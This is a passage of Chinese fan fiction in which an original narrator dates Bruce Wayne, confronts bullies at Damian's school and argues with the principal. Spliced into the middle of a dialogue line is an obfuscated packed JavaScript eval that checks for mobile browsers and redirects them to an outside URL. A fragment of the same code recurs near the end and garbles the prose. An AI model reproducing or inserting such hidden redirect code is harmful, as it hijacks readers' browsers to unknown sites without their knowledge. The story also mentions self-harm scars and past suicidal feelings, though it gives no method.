蝙蝠侠在一只猫咪玩偶被残忍分尸的血案里等来了接应的管家,阿尔弗雷德乍一看见他时还吓了一跳,以为克莱恩在毒素里添加了小丑的笑气配方。 等他再次清醒时,布鲁斯·韦恩第一次没有经过预约便拨通了女孩的电话,她接起时困意和惊恐一样浓重: “你好,请不要告诉我电话号码的主人真的死了。” “是的,”他甚至有心情开了一个玩笑,“我是他积怨已久的鬼魂。” 他没想到短短一句话威力巨大——事实上大半夜突兀接到这么一通“鬼来电”,女孩只尖叫了一声便挂断已经是反应迅速了。 听到这,夜翼用新奇又微妙的目光看向了驾驶位,好似发现了蝙蝠侠不为人知的秘密:“你的幽默感有时令我无话可说,布鲁斯。” 在身旁人投来死亡凝视之前,他又及时调转话题,“但是我很高兴你能告诉我这些——知道有人在那段时候一直支撑着你,我很想当面向她表达我的感激。” 说话间,两人已重新回到了莱斯利诊所的两层洋楼下,寻了处僻静的位置停车。 青年没有等到车顶盖的开启,正相反,他的养父眉关金锁,似是陷入了新一轮欲言又止的煎熬。 “问题也在此……迪克。”他迟缓地喊了声大儿子的名字,偏转过来的蓝色眼睛里酝酿着一场暴风雨。 “为什么她能发现我的问题,这不是单纯的直觉,或是我有所暴露,”词句从男人的咽喉中一点点溢出,艰难而晦涩,仿若呕血,“那是因为那段时间是她被校园霸凌最严重的时期,只有一个寻死之人才能在人群里准确嗅出自己的同类。” 怔忡持续了足足数秒,紧接着青年任由愕然撑开了双眼。 “我得是什么品种的混蛋,才会让一个刚成年没多久的女孩在学校的天台上守着约定拨通我的电话,还要绞尽脑汁劝慰一个年岁足以成为她长辈的男人……” 带着满身郁结,布鲁斯下了车,和自己的搭档道别,“所以我现在一定要尽可能地陪在她身边,迪克,庄园那边就拜托你了,化验结果出来就通知我。” 究竟是愧疚催生了怜惜,亦或是对方的抚慰出现得太恰到好处? 爱情在此悄然扎根,最终于他的心灵野蛮生长,结出累累硕果。 8.08 床上的人形动了动。 刚清醒的人往往是最无防备的,我站在镜子前,侧头饶有兴趣地凝视着那颗从被子里冒出来的脑袋。 男友显然处于半梦半醒中,他伸手在身旁摸索了一会儿,似是发现少了什么,这才猛地掀开被褥坐起身来。 顶着一头乱发,他迅速扫视过整个房间,眼珠在捕捉到我的位置后便不动了,原本紧锁的眉头也慢慢舒展。此刻我们穿着私人医生统一提供的哥谭纪念T恤,看起来就非常像情侣。 我的心情因而极佳:“午安,男朋友,睡得还好吗?” “……挺好的,”布鲁斯看起来像只正在打哈欠的大型猫科动物,枕头的纹路在他脸颊上成了长长的胡须,“你起了多久了?” 这是个不太好回答的问题。我不能说自从男友早上五点过来后我就没睡着过——虽然枕着他的呼吸声躺在那还是挺催眠的,但我是个连和自己妈妈睡一起都会不自在的人,会拉他上床也纯粹是不忍心让他睡沙发。 所以我含含糊糊地应了一声:“没多久?我忽然有了点灵感,画下来以后也睡不着,干脆先起来化妆卷头发。” 为了不让他察觉出什么,我扭回脑袋,继续刚刚没画完的眼线。 床那边有些布料摩擦的响动,看样子男友也只是随口一问,我正要松口气,却听见了纸张被翻动的声音。 糟糕。 草稿纸没收起来! 等我龇起牙再看回去,那本从医生那借来的空白病历本已经到了男人手里,他一张张瞧得仔细,中间抽空瞥向我:“我都不知道你画场景概念的速度又跨越了一个大台阶。” 纸上的涂鸦非常满,大部分是我根据哥谭街景二次加工后的建筑和内景设计,奇形怪状、姿势各异的动物行人穿插其中,偶尔有那么一两个会放大画在一旁的空白处,并辅助以文字来表明它们在故事里可能会承担的身份和作用。 怎么看,这些都不是能在一两个小时内完成的。 撒谎被当场抓包,我的后脖颈登时沁出湿热感,本想再用“画起来对时间的体感就会变弱”进行反驳,但注意到男友停在某一页的时间明显过长,我又不得不把话吞回肚子,机械性地勾完眼线。 只要布鲁斯记性好一些,他一定会认出那只被吊死在杂物间,开膛破肚的瓢虫——和昨晚的劫匪一号十分形似。 我真的不想和他讨论任何有关绑架案的事。 “主人公隔壁工位的同事,连环杀人案的受害者之一,但是因与主人公有过不和,因此周围人都认为是他下的手。” 男友轻轻念出我的注释,出乎我的预料,他的口吻趋于平淡,带了些正常的好奇,“你还没有和我聊过新漫画的剧本,悬疑题材吗?” 他实在太知道怎么让我开口说话了。 “我记得昨天在图书馆的时候我就说过了……”我带着眼影盒坐到他身边——异性略高的体温并没有让我不舒服——再次意识到这点,我终于可以确定自己那点对男人的PTSD并不会对布鲁斯发作。 “要我翻聊天记录吗?你丢给我一句‘我有点想写的东西’后就再没回复过。” 我自知理亏,又有点感激他没继续说下去,因为我的下一条消息就是定位:“……手机还在警察那呢,我随便给你讲一点?” 说罢,我就去拿床头的速写本。 注意力基本都放在对话上,导致我忽视了自己的身体目前还是个病号,大幅度扭腰遭到了腹部的严重抗议,抽痛感使劲拉扯肌肉,我的重心一个不稳便要朝床上倒去。 “小心。” 男友用不由分说的力气托住我。 猝不及防地,那双垂下的蓝眼珠对上我的视线。 他没有对我立刻偏移的目光发表任何意见——这太不合理了,换作平常他应该立刻就回避这点展开说教才对。 我的狐疑换来了男友递过来的速写本,他的手自从揽住我的肩膀后便没有松开,但始终保持在一个我随时都能挣脱的范围内:“又不想说了?你以前总是有什么点子就第一个和我分享的。” 愧疚感翻涌而上。 顾不上那么多,我清清嗓子,翻到之前打的轮廓草稿那页给他讲起我的主角。起先我还有些莫名的尴尬,不过布鲁斯的倾听始终认真,恍神间,我有种回到过去的错觉,那时的他应该也是带着这样的神情坐在电话旁的,往往说着说着我就会发散到其他事情上——比如大学周围没什么人去的滩涂公园,再多走两步就到了岛上居民的农舍,牛粪干瘪的气味和雨后尚且泥泞的土路一同拖慢我的脚步。 其实这些都不是什么特别美好的回忆,我挑拣着诉说我的日常,不过布鲁斯并不会打断,多少令我感觉他是喜欢这种乏善可陈的日子的。 要是他知道我那天出门没多久就遇到了露阴癖的大叔,估计又会一个人生闷气。 反正也无法见面,干脆就隐瞒起来好了。 为什么要在别人吃小蛋糕的时候告诉他原料里其实混杂着烂掉的水果和蛆虫,只是被厨师精心剔除而已…… 这只会令食客呕吐。 当然了,除了布鲁斯,那个时候在我身边的人通常只会看一眼蛋糕,然后兜头把它们砸回我的脸上。 “……我想用一些情节来体现主人公的异物感,嗯…就像被吞吃进蚌壳的石子那样?” 指尖敲击着本子上的铅笔瓢虫,我思忖着说道,“他好不容易接受了这个世界上除了他以外不再有人类的事实。依旧坐着原来的工作,同事也是曾经熟悉的人。但是他会因为看不得别人的便当里装着面包虫或是生肉而擅自离席,多毛的同事会同情他不耐寒的皮肤;带壳的同事会歧视他不能带家上班;而草食的同事则会鄙夷他碗里的红肉……因此当凶杀案发生的时候,几乎所有人都一口咬定说他的不寻常。” “即使他是清白的。” 男友的感想简短而肯定,这样的情节并不是他喜欢看到的,因而他微微皱着眉,“这些都是本来就存在的分歧和差异,不该由一个人同时承受。” “没错,可是在杀人犯蠢蠢欲动的环境里,动物们的恐惧和压抑都需要一个发泄口,”我伸手戳了戳他的额头,“主人公恰巧撞上了,‘谁让他和我们都不一样呢’——群众会找到一万个理由坐实他并不清白。” 对方并没能填满眉心深深的刻痕,但是他换了口气:“至少他的妻子会相信他无罪吧?” 我点点头:“除了他妻子,这世上找不到第二个会如此信任他的人、噢,是螳螂了。主人公与妻子自幼相识,自然而然结了婚,故事开始的时间点他们应该正在备孕期,所以两个人都要更注意财产的积累,他也不能随便就辞职不干了。” “……你设置了很多隐性条件,去操控主人公按照你的想法行动。” 就着我的手,男友抚了抚纸,其上笼罩在瓢虫全身的,正是由主角和斜置的拖把共同构成的十字架投影。 “搞创作的多少都有些控制欲吧……”我把这当成简单的感慨,“而且昨晚——唔,总之我有了点新的想法,在思考要不要延伸出真正的凶手这条线,我想把这个凶手塑造成主人公的另一面。” 听众歪了歪头,仿佛不甚在意我奇怪的停顿,而是洗耳恭听。 “如果说主角对于蚌壳的挤压和包裹只会被动接受,那么凶手则会给他展示一条新的路——挑战社会的权威,长出致使蚌肉流血的棱角。” 这是那个酒保小哥给我的启发,但也意味着给我的故事加入更多变数,要考虑的内容也变得复杂起来,“但是我没想好他们相熟的契机……凶手的离群或许会得到主人公的同理心,但任何一个有良知的人都不会随意让疯狂和暴力冲动感染自己。” 当我用求助的目光投向男友时,对方的双眸中还残存着思索留下的余波,发现我需要他的想法来开阔思路,他露出一点微笑: “有时候——善与恶并不是完全的对立面,”不知为何,他说这话时流露出了些类似嘲讽的情绪,“就像再温柔体贴的人也会有向往暴力的冲动,恶贯满盈的罪犯也会有被善心触动的可能,即使他们通常会把这种善良视作软弱。” 太理想化的发言。 世界上更多是不懂得忏悔为何物的恶人,只要给他们堕落的机会,他们只会大喊为什么自己落得没有别人深。 但是我却跟着笑了起来:“这样也行呢!谢谢你,布鲁斯,你一直都会给我一些很不错的提议。” 这也是我最喜欢男朋友的地方,他不会惊讶于世界有多烂,而且总能从中找到变好的方向。 得到夸奖能让大部分人心情更好,即使是颇有阅历的老男人也不例外。他伸手摸了摸我的头发,还想开口说些什么,自己的手机却不解风情地响了起来,看了眼来电显示,只能带着歉意和我打了个手势,朝外走去。 门并没有关严实,我一边听着隐约传来的说话声,一边在速写本上添了两笔。代表主人公的轮廓旁多出了一个涂黑的小人,和笑眯眯的螳螂头一起注视着他。 而后我又翻了两页,这里的涂鸦更加杂乱,多数也只画着一个人——要是男友发现我把他的睡相全画下来了,可能在他感觉不好意思之前我就会先一步羞耻而死。 我“啪”一下合上速写本,郑重其事地把它塞回胸衣里拍了两下。 “……我希望你是对的,迪克,”等我回到镜前继续晕染我的眼影时,门外的男人也推门进来了,“她不是那么小气的人……嗯,一点半放学,我记得住。” 短短几句话,我却顿时有种下午的二人时光会被破坏殆尽的预感。 面对我询问地扬眉,男友最后和对方说了几句话,便挂断朝我走来,表情和语气都要比先前更加柔和——我很不愿意把它们称之为讨好。 “呃……迪克说可以代替我参加下午的一场会议,不过我也得帮他个忙。” 我关上眼影盘,旋开唇膏,示意他继续说。 他打量着我的脸色,“我们得去接一下放学的达米安,他们本来约好要去游戏厅的。” . 接小孩放学,这回我是真的有在当后妈的错觉了。 时间卡得很紧,导致我没空选自己该穿什么,只能从路边的服装店抓两件就走。男友这回又换了一辆我叫不出名字的车,后排不够宽敞,我也只能将就着换衣服。 不用担心司机会不会偷看,我垂头拨弄了一下手腕上的旧伤疤,然后扯过连袖手套把它们遮得严严实实。 如果不是今天的见面对象不仅有男友,还包括那个高中生巨婴,我可能就套着纪念T恤回公寓了——但要我在男友儿子面前穿得邋遢……这简直比没洗脸没洗头结果下楼倒垃圾时撞见前男友还要让我不可忍受。 许是我提袜子时踩中了前排靠背,司机把这理解成了愠怒,软着嗓子喊我的名字: “我可以和达米安打个招呼,先送你回公寓穿那条缝好的衬衫裙。” “……又不顺路,还是别耽搁了,”难得穿一次短裤腿上却全是青青紫紫的,我一边撕开药贴拍在淤青上,语气不佳,“你儿子都对临时换人没意见,我当然也不会那么小气。” 可恶,还我妈生二人世界! 后视镜的蓝眼睛在红灯的间隙投来注视,我的情绪大多数时候在他面前都会变得很好懂——不知是他过于敏锐,还是我习惯性地想要撒娇,男友眼角的细纹在微笑时更加深刻: “谢谢,我知道你和达米安只是看在……我的份上,相处得很勉强。” 他这回也一定是存着想要弥补上回不欢而散的想法,因此在与大儿子通过电话后,接下来打的就是小儿子的手机。我那时候跑楼下去感谢借我化妆品的医生了,自然不知道男友是怎么说服小孩来一场三人亲子活动的。 不,说不定那小鬼还不乐意他爸隔三差五跟我鬼混呢,有了现成的插足机会这还不上赶着挤在我们中间。 我自己也知道以上想法纯属偏见,一旦带了感情滤镜看人,我就容易把对方想得太好或是太坏,这也是我平时会尽量用理性去待人处事的原因。 略略叹了口气,我扇走脑子里乱七八糟的想法:“怎么说我都年长他那么多,上次故意挑衅也有我的不对……总之,你不用太担心我会把他怎么样的。” 前面的驾驶位安静了几秒:“我在意的是你自身的喜恶,我知道对你来说,要接纳达米安……或是我其他任何的人际关系都不是那么容易的事。” “……这么排外还真是不好意思。”我喉头一哽,多少以为男友的话里藏了些抱怨。 闻言,他下意识想转头过来,但又不得不遵守绿灯踩下油门,因而只是时不时透过后视镜看我,语调无奈:“我不是这个意思——就像你说的,恋爱是两个人就能组成的最小规格的宇宙,我很高兴你赋予我走近你心灵的钥匙。” 这样的话语太过真挚,我只能用长发捂住热意蔓延的脸颊,偏头望向窗外:“花花公子腔调。” 男友这回只是笑了笑,放过了我的羞涩。 说来也神奇,仅仅是他几句话的功夫,我的心绪便已然平静得不可思议,这难道就是荷尔蒙的魔力? 恋人的声音、气味、影像——这些都结合在一起,产生了比任何安定类药物都要了不起的功效,这种变化隐隐令我感到不安,但同时又更好奇。布鲁斯肯定和我每一任前男友都不同,他的三观和经历注定了他有一定的“弥赛亚/情结”,但要是真正沉迷于他人带来的安全感,那么到分别时也一定会因截断而滋生更多的痛苦。 指不定,到时的我会做出令自己都感到惊愕的不理智之举。 “还有两个红绿灯就到罗宾逊学院了,我得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14210237|150647||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 先去和斯通校长打个招呼,达米安开学一个月出勤率还不足三天……” 男友操心的语气扯回我的注意力,他倒映在后视镜里的脸多了愁容,这下看上去是真的像是位老父亲了,“你想在车里等我们还是?” “又没下雨,我想在学校里走走,”我伸手搭上他的肩膀,趴在前排靠背上,“你离家出走前是不是在那里就读的?” 这回换他哽了一下:“……那不是离家出走。” “嗯嗯,是追求心灵的宁静探索世界的广阔,绝对不是离家出走,”我没想到男友的重点是这个,绕过椅背圈住他的脖子,“反正我要去你读书的地方看看。” 对方放任了这个对驾驶来说很有风险的姿势——因为我们已经能看见罗宾逊学院主教学楼的塔尖,把车子停下后,他握了一下我的手:“好吧,我猜你不会想要达米安当向导的?” “绝对不要。”我答得斩钉截铁。 时隔多年重回校园,我几乎是一下车就被扑面而来的青春气息吹得一个趔趄,嘈杂的人声把校门口衬得像个促销卖场,区别只有这里几乎所有人都穿着校服。我和男友两个成年人很快就吸引到了部分目光,顿时我就明白为什么他下车还要带墨镜了。 罗宾逊学院作为哥谭的老牌私立高校,一直以来都在接受精英阶层的大量捐助,近期还做过翻新,因此建筑和植被都一派欣欣向荣,和我自己就读的高中完全没法比。 近年来为了响应政府的改革,这所学校的招生政策开始向更多普通市民开放,为此似乎流失了一部分依旧秉持着阶级概念的捐助人——于是这时韦恩企业堂堂登场,不仅补上了一大笔资金,同时也会根据学生的在校成绩来提供优质大学的推荐信,而大部分被惠及的学生也会在毕业后优先选择韦恩企业入职。对双方而言,这都是件互惠互利的好事。 因此,当一副精干打扮的女性和阴着脸待在一旁的黑发小孩出现在教学楼门口时,我一点也不觉得意外。 谁给钱谁就是老大嘛。 趁着男友和校长寒暄的片刻,我和达米安轻飘飘对视了一眼。这孩子也戴着墨镜,气质上简直和他爸是一个模子里刻出来的,我们都没什么在人前争锋相对的冲动,只一瞥后便各自待在原位,装作对方不存在。 “……那我先进去咯?” 挑着两人对话的空档,我靠着布鲁斯小声道。校长女士从一见面开始就在似有若无地打量我,此时见状便开口询问: “这位是……?” 我点点头露出一点微笑,丝毫没有介绍自己的意思,转而把话语权尽数抛给男友。 他很自然地替我回答了,于是我也作势开溜,绕开三人进入教学楼。 “……非学生家长最好还是……人呢?……” “不要紧张,斯通校长……她只是想参观一下……” 身后隐约还能听见说话声,我倒不怕被抓包,放学的学生足够多,熙熙攘攘堵在置物柜两旁,藏在他们之间就好。为了躲得更严实些,我还特意挑选了一群人高马大的体育生挡在身后,唯一不太好的地方就是这些小白男可能刚从球场下来,体味真的能熏死人。 正为自己受罪的鼻子叹气时,体育生之一忽然发出一声嗤笑,说出的话更是引起了我的兴趣: “看看是谁开学一个月就被请了家长?那不是我们的小画家吗?” 我本不清楚这个昵称是好是坏,他身边的人已经跟着笑了起来,从表情来看具有很浓厚的嘲讽意味,其中一人更是晃了晃手里的本子:“也多亏了斯通校长,不然我们还没法拿到他的宝贝笔记本!” 瞧,那天我说什么来着。 确定这场校园霸凌针对的就是我男朋友的宝贝儿子,我收起了全部表情,环视了一圈周围,挑中了校工搁置在旁的长拖把,握在手里掂了掂重量。 “那还等什么,干脆把他的幻想漫画撕下来贴在布告栏里好了,我相信一定有很多人对这个感兴趣的!” 对方有五人,平均身高和体格都优于我太多,我唯一的优势就只有趁其不备。 领头的金发男孩招呼着同伴往前走,阵型是前二后三,我瞄准了他抬脚的瞬间,挥起拖把便狠狠敲在对方小腿上。 犹如倒塌的骨牌,前面的人在摔倒时绊到了后面人的脚腕,于是一连五个人哗啦啦地摔倒一片。 走廊里几乎是立刻有人小声惊叫。 由于用力过猛,腰腹的淤伤立刻将痛楚刺入大脑,我忍住不发出任何声音,眼疾手快地跑起来,赶在男生们起身之前拿到了那本飞出去的厚厚笔记。 还好,只是沾了点灰。 不过我这下行动实在显眼,周身让出了一片真空地带,越来越多的学生围拢过来,还有人在小声讨论着我的头发长度,问旁边的人我是几年纪的。 这比要我出示大学借阅证的图书管理员还要离谱。 我的力气虽说不大,不过猝不及防挨了一下还是不怎么好受的。那边摔成一团的体育生已经反应了过来,搀扶起领头羊冲我叫嚣: “你又是&%¥@的是哪一个?那家伙怎么每次都好运到有美女帮忙出头?!” 还不是第一次校园霸凌。 我敢肯定我的表情阴沉得可怕,证据就是其中一个男孩反射性地往后缩了缩:“姓名,年级。这本笔记不属于你们,私自偷窃韦恩的财物,你们做好进少管所的准备了吗?” “……什么?!你不能这么做!那里面只有——” 不能给对方说话的机会,我立刻提高声线打断他:“有什么话你留着和警察说吧,那边的你——对,就是你,绑着紫色蝴蝶结的漂亮姑娘,帮忙给我打个911好吗?” 被我柔声选中的高中女生似是不习惯被扯进漩涡中心,脸颊立刻憋得通红:“好…好的,女士!” 在她拿出手机的时候,我跨步向前挡住了几个霸凌咖的去路,他们想做什么看一眼就能明白,我可没有要让无辜女孩蒙受金钱损失的打算。 眼见事情越闹越大,青少年们的脸上终于蒙上了统一的惊惶,而我也终于等到了本该出现在这里的人,她的高跟鞋踏得很稳,身后跟着的正是我那去而复返的男朋友和他儿子。 我见好就收,赶在身后人要拨通电话前掐断了她的通讯,并安抚性地冲对方笑了笑。 “这里是怎么回事?!”校长严肃的质问分开了众人,她先看了一眼自家学生,仿佛是意识到什么,不善的眼神直射而来,“……韦恩先生,您应该解释一下为什么您的女朋友要打扰学生正常放学活动。” “问他干嘛?” 我好整似暇地抱起双臂,晃了晃手里的笔记本,果不其然看见达米安一下子瞪大那双绿眼睛。 “这群小人渣偷窃同学的财物还要张贴到告示板上,我倒想问问您是怎么教育的学生!” 9.09 我不是很清楚其他青少年在成长的过程中会不会遇到这样的事。 但就我所在的环境来说,霸凌其实十分常见。 小学的时候年级里有一个长相不怎么讨喜的女孩,所有人都在说她的坏话,从不讲卫生到偷同桌的东西,我并不知道传言的契机是什么,但回过神来时,所有孩子都统一了战线,他们说: 欺负她是应该的,谁让她不当个好孩子呢。 于是在他们邀请我时,我那颗人云亦云的大脑不假思索地答应了。我第一次意识到即使我和那个女孩毫无恩怨,也能微笑着将恶意倾倒在她身上,并因她的忍耐和泪水而感到快乐。 每每回想起这事,我都会为幼时的残忍而胆战心惊。 再后来,那一次的放纵遭到了成百上千次的报复,我活成了众人眼里的靶子,亦只有真正被瞄准的时候,我才明白了当初那女孩的感受。 即使如此,像我这样的人也不会因此而萌生歉意的。 将内心的每一寸细细剖开咀嚼,或许能拼凑出一个真相——我之所以会对此事念念不忘,以至于多年后的今天还会下意识地为讨厌的人出头,一定是因为那是我认清自我的契机。 我根本不能成为我向往的那种好人。 “……这些孩子这辈子也只能在高中如此得意忘形了,对于真正有天赋的人来说,他们所做的一切都是过眼云烟……” 一字一句地复述着校长的发言,我几乎快要被气笑了,“这就是你对欺凌事件的态度?” 落针可闻的办公室内,我坐在双人沙发的左半边,多少有种想要拿起桌上墨水瓶就往对面女人的脸上砸的冲动。 事实上,要不是身侧的男友一直按着我的手,我真的会这么做。 “我能理解您的正义感,小姐,”办公桌后的女人公事公办地推了推镜框,她有一双格外不讨喜的眼睛,“但一直以来达米安都处理得很好,您和韦恩先生都应该放手让他自己——” “你能对着这小鬼百分之十不到的出勤率说出这种话,真是让我大开眼界,”我夸张地为她鼓起掌来,满意于对方脸色更差,“如果这种事都要靠着学生自己解决,你和这个学校所有老师都是在浪费韦恩的每一笔捐助,换我是你早就找根绳子上吊自杀了。” 迫人的眼刀连眼镜都挡不住。 看得出来,现在这位女士也想用墨水瓶丢我了。 可没待她再说些什么歪理,身后靠在墙上的少年先一步开口,我本就防着他在关键时候拖后腿,此刻听见这种发言也不意外: “斯通校长是对的,我的事还轮不到——” “闭嘴,达米安·韦恩,这不只是你一个人的事。” 我毫无客气地逼迫他把未尽之言通通咽回去,目光缓缓从小孩噎住似的表情挪到身旁男友脸上。布鲁斯从之前进校长室时便没怎么开过口,一副任由我做主的模样,唯有交握的双手会时不时向我传达他并不平静的情绪。 注意到我征询的视线,他沉吟了片刻:“就像我女朋友说的,斯通校长,教辅员打电话给他哥哥时根本没有提到过达米安在校受到了什么样的对待。我一直都很相信他能够处理好这些,但前提是身为师长的你们能做出公正的判决。” “韦恩先生,这……” 我才不会给对方挣扎的机会:“留校察看,记过处分,再加上写检讨并且给小鬼道歉,少了这些我就闹到家长委员会去,相信那些难缠的爸爸妈妈一定会担心自己的孩子能不能在校园里快乐成长。” 校长女士这回连眼镜滑落到鼻梁上都没去推,估计正在内心大骂我多管闲事,或者狐假虎威?我倒是不介意她这么想,布鲁斯都默许我借着韦恩的名义压人,我要是不利用起来那才是暴殄天物。 这场唇枪舌战最终以我方大获全胜告终,我在女人格外阴鸷的视线里率先走出校长室。那一溜霸凌咖还等在门口,为首的金发男还死死瞪着在我身后出来的小孩——看到他那样我的火气又唰得一下往上冒,当即停住不动了: “看什么看,再看把你眼珠挖出来泡酒,臭小子!” 对方显然作威作福惯了,嘴巴一咧就要跟我呛声,视线却在触及我身后时猛然一颤,随后便莫名其妙地偃旗息鼓。 我更觉古怪,回头看了一眼,父子俩表情一个微笑一个臭,共通点也就只有都没什么杀伤力。 可能这就是资本主义的震慑吧。 “磨蹭什么,”被堵得不耐烦,绿眼小孩抬手把我推着往前走,“校长被你气得都要去买降压药了。” “达米安。”走在最后的韦恩老爸不轻不重地喊了声他的名字,两人交换视线,透出一股只属于血缘关系的熟稔。 见到这一幕,我眼不见心不烦地转过了脸。 “怎么了,我本来就不需要她来出这个头……”压根没有放低音量的意思,拿着笔记本的小孩撞上我再度平移回去的眼睛,手指攥得更紧,但终究也没在说出什么气死人不偿命的话。 似是有意打破我和他之间微妙的敌意,男友上前两步,揽住孩子的肩拍了拍: “先回车上再说,儿子,你要不要去收拾一下书包?” 达米安的脚步微微一顿,张了张口又抿得很紧,他的目光在我和他爸身上转了转,最后还是选择快步回到教室,丢下一句: “你们俩别在学校就亲上了。” 我深刻怀疑这小孩应该是看到过点什么,瞟向身旁人,男友清清嗓子,漂亮脸蛋扮起无辜来分外有杀伤力。 虽说也不是什么重要的事情,但能感觉到对方的紧张,我不免泄出一丝笑意。 这像个代表松动的信号,散落的长发被他捋到一边,男友顺势把我半搂进怀里往前走去。 “刚刚的你像个斗士……很少会见到你这么生气。”我们之间也就差了半个头的身高,他只要略略低头就能贴着我的太阳穴。 不怎么习惯在人前表露亲密,我憋得有点脸红:“……我还以为你也会说我多管闲事。” “为什么?”他带着我穿过走廊上一间间空荡的课室,语气意外认真,用的也是中文,“我才应该感谢你为达米安做的……即使我勉强算得上抚养了迪克他们长大成人,但有时候我也不太清楚要怎么和达米安相处。” “因为一些缘故,那孩子比任何人都更在意独立和自主权,想要向我证明他的独当一面,我也一直为他而自豪,不太会过问他的隐私……这次的事会发生,的确是我疏忽了他的情况。” 我一时不知该回些什么,每个人的家庭情况都不一样,况且我也从没有带孩子的经验。只是若要我在此时轻飘飘地安慰两句,我想我做不到。 “你看起来对我有些失望。” 扣在肩膀上的手摩挲了两下,我望进男友海做的眼眸,他眼睑微眨,显出两分闪烁的不安定。 说话间,我们已经走到了小孩的教室旁,对方背着包,旁边来了个小姑娘正和他说着什么,估计可能是些安慰的话。 这个距离也不用担心被听见,我于是开口:“……不,我只是……可能明白了我爸爸当时是怎么想的。” 他先是一愣,旋即便意识到我在指自己读书时候的事。 “或许他也觉得我能处理好所有的一切?毕竟我的高中同学甚至不会嘲讽我,他们只是……当我不存在。” 我耸了耸肩,原本我以为这会难以启齿,但真正说出来时,我甚至觉得心情挺平静的,“点名的时候漏掉我,小组作业和体育课分组也不会带我,只要是我在的地方,无论上一秒讨论得多么热火朝天,下一秒所有人都会噤声。当然偷偷的恶作剧也不是没有,比如在我值日的时候故意装作教室没人,然后把我反锁一晚上什么的;又或者把我负责绘制的板报全部擦掉,导致班主任生气撤掉了我的宣传委员……真可惜,那个还挺加平时分的。” 大脑的保护机制让我其实对大多数高中的经历都不太记得了,在停下回忆的片刻里,我蓦然注意到男友深深蹙起的眉宇,便尽可能松快地笑起来。 “布鲁斯,我说这些不是为了让你同情我的,而是在展示‘你的疏忽’会导向的其中一种可能性。” “我……” 他似乎是想要伸手拥抱我,但被我抵住了胸膛。 “我的爸爸也为我开过家长会,他很爱我,是那种知道我早恋还要特地打电话和男方说两句的类型……但即使是这样,他从没发现过我被孤立,”说到这,我微微叹息,“我也没有告诉过他,因为他只会失望于我连这点小事都不能独立解决。” 男友不再欲言又止,我们就这么沉默地伫立在走廊里,我想他已经懂了我为什么要把自己的伤疤撕给他看。 “后来我上大学的事你也知道了……更多的霸凌,污蔑我偷东西,往我床上泼水,乱七八糟的事一堆。我爸来学校给我办了休学手续,但是他看着我的第一句话却是——” 一股莫名的阻塞感掐住了咽喉,我咬咬牙,还是努力挤出最后几句话,“却是怪我连四人的人际关系都不能解决,我一点也不像他的种。布鲁斯,你会对自己的孩子说出这种话吗?” 他站在那,神情狼狈又僵硬,仿佛我的话带着魔力,把他变成了一座雕像。 我的本意也不是想看到男友这样,富养长大的孩子既可能变成傲慢的怪物,也有概率拥有比常人更多的同理心。布鲁斯·韦恩是后者,他对我的爱情饱含怜悯,因而他能够从我的剖白里感受到更多的懊悔,这会让他再多去反省和关注自己的儿子一点。 把自己的受害经验当成工具使用,这或许也是我在那样的成长环境里才能被“培养”出的技能之一。 仔细瞅了瞅面前人的脸色,我又有些伤脑筋——就是这效果好得过了头,男友的消沉肉眼可见,大有在原地站一下午的趋势。 万幸,小孩哥的声音及时从身后冒了出来:“……你们还站在这里做什么?” 他和同学站在一起,小姑娘向我和他爸打了声招呼,带着点好奇离开了,而达米安的眼神和口吻都很微妙,让我本能感觉自己忘了什么很重要的事。 我边走边想,但还没记起个所以然来,一左一右两个人的缄默就已经严重影响到了我的思绪,不说话岂不是留我一个人尴尬:“现在才两点半,你们想好待会儿要去哪里玩了吗?” 父子俩同时看向我。 “你决定就好。” “随便。” “……你爸也就算了,你不是原本定好了和哥哥去游戏厅的吗?” 被两双相似的眼睛盯着,我的后背跟电流划过般一激灵,在接下来的三秒内后悔于今天为什么要出门。 小孩扭过了头,依旧是那副防御性十足的姿态:“你们俩没一个能配合我打双人游戏。” 我很想反驳,可考虑到自己堪称灾难的游戏技术,只能抬腿轻踹了下左边的男友。 他咳了一声:“我很乐意胜任你的游戏搭档,不过……我们起床到现在还什么都没吃,你呢,达米安?课间餐应该是早上十点多的事了。” 略作犹豫,小孩用后脑勺对着我们答道:“游戏厅旁边有一家餐厅,但是那里只提供素食和白肉。” 男友询问地瞥向我,自己看起来倒是已经习惯了。 “医生说我这几天必须饮食清淡,”说到吃饭,我才后知后觉地感到胃部空虚,“去嚼点草料正好。” . 世界上究竟为什么会存在白人饭这种难吃的东西? 哪怕我盘子里的食物大部分都进了男友的肚子,我也深深记住了那不可名状的口感和滋味,并对吃得津津有味的美国两父子升起了由衷的敬佩之情。 如今还不到下班时间,路上行人不多,秋风瑟然,已有落叶打着旋落于地面。 游戏厅就开在餐馆斜对面的街角,我和小孩此刻正坐在门口的塑料长凳上,他抛着手里的代币,语调听不出喜怒: “父亲真是被你使唤得团团转。” 我躲在梧桐树的阴影里,听罢偏头看向他:“……只是让他去买个冰淇淋而已,难道你不吃吗?” “你的医嘱不包括这个。” “所以我软磨硬泡了五分钟才换来一两口,”说着我就大大地叹气,“诶,小鬼,我是真的不想和你吵架。我们现在能坐在一起的原因——一是因为是第一次和你爸来这种地方,二是因为今天也是我这个月以来的第一次约会。我不想搞得像上次那样糟糕收场,我们俩暂时签订一下午和平契约行不行?” 他的绿眼珠先是一愣,随即狐疑地瞪过来:“你怎么知道这是我们第一次……”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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倒是不意外这孩子会知道义警和自己老爸间的那点关系。 接收到了那点软化的意向,我张开手指瞥他,小孩的神色带了点歉疚,但很快又抿起唇,把自己包装回了刺猬模样。 “是啊,感谢蝙蝠侠,不然我现在会因为防卫过当而被关在警局里……”我没什么向青少年宣扬暴力的恶趣味,因而换了个话题,“我希望他别和布鲁斯说太细,不然以你爸的个性又要偷偷自责……我真的很不擅长哄男人。” “父亲才没那么脆弱。” 